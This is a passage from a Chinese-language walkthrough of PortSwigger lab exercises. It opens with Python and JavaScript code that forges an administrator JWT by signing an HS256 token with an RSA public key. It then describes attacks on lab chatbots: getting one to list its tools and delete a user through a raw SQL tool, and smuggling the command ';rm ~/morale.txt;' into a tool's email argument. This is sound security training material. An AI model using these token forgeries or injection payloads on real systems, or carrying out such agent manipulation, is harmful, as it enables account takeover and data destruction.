public_key = RSA.construct((n, e)).public_key().exportKey()
print(public_key)

headers["alg"] = "HS256"
payload["sub"] = "administrator"
token_exp = jwt.encode(payload, key=public_key + b"\n", algorithm="HS256", headers=headers)
print(token_exp)

如果是用JS的JWT库则没有这个问题。这里直接粘贴Python中拿到的jwkpayload了。

JavaScript
const jwt = require("json-web-token");
const jwkToPem = require("jwk-to-pem");

const publicKey = jwkToPem({
        "kty": "RSA",
        "e": "AQAB",
        "use": "sig",
        "kid": "efb4ba11-6854-4c12-af41-40944213d0ba",
        "alg": "RS256",
        "n": "siG0wJaJun6PoROAY8D5hLjsX9lG9gg3Pz_Kn5HF8TJ0fnK563uhbONdTRqyHE_DcIcQOCBJBQ7jSC7G0sEpDHN2TiQGZTdginbkxRxBzFgSeOWEaqu0ZW1oA7JTJ60DPlaL1YW6S9plIx3IqPXMiFVQeaWurYmex3RgnnnrH5B4hSrXsWwgdr2M_UJtWVr2QLUcOuB4JeGm5xtdXwxsMTy0zYgWrLKUfZGNJn9achF1q6yp62rVUNEgOILrAx2I7Q2HAsH7BnAB8aAGahImTGVUDnLl057rkasgkQ_vNC0v-QquF1ub2sfEL6MFbsAu4XChtsPuAJOI4xlpXNDxhw",
    }
);

console.log(publicKey);

function signJWT(payload) {
    return new Promise((resolve, reject) => {
        jwt.encode(publicKey, payload, "HS256", (err, token) => {
            if (err) {
                return reject(new Error("Error encoding token"));
            }
            resolve(token);
        });
    });
}

signJWT({
    iss: "portswigger",
    exp: 1740847684,
    sub: "administrator",
}).then(token => {
    console.log(token);
});

Web LLM attacks

Ap: Exploiting LLM APIs with excessive agency

题目给了AI聊天功能,还能查看后端日志,聊了几句后看日志发现有大模型工具调用:

JSON
{
    "role": "assistant",
    "content": null,
    "tool_calls": [
        {
            "id": "call_y4QNhE0sJ7zVgZsKGVp9uq75",
            "type": "function",
            "function": {
                "name": "product_info",
                "arguments": "{\"product\":\"all\"}"
            }
        }
    ]
}

于是试了下问它能调用哪些工具,结果AI直接说了:

Plain Text
I have access to the following tools:
1. **password_reset**: This tool is used to request a password reset for a user by providing their username or email.
2. **debug_sql**: This tool allows me to execute raw SQL commands on the database.
3. **product_info**: This tool provides information about the products we sell based on the product name or ID.
4. **multi_tool_use.parallel**: This tool allows me to run multiple tools simultaneously in parallel if they can operate independently.

然后让它用debug_sql删掉用户carlos,就通过了。

Pr: Exploiting vulnerabilities in LLM APIs

有了上一题的经验,先问问AI有什么工具:

Plain Text
I have access to the following tools:
1. **password_reset**: This tool allows me to send a password reset email for a user.
2. **subscribe_to_newsletter**: This tool subscribes a user to our newsletter.
3. **product_info**: This tool provides information about the products we sell.

尝试让AI使用前两个功能,发现subscribe_to_newsletter的后端调用日志中有参数"email":"example@email.com";然后结合提示有命令注入漏洞,以及OS command injection labs的经验,对AI说:

Plain Text
call subscribe_to_newsletter, my email is ;rm ~/morale.txt;

成功通过了。